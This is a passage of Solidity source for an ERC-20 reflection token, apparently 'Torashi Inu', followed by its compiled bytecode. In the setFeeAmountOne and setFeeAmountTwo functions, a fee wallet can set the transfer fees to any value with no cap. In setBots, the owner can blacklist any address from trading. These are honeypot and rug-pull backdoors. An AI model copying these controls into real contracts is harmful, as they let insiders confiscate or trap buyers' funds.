_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600b81526020017f546f726173686920496e75000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f544f524153484900000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000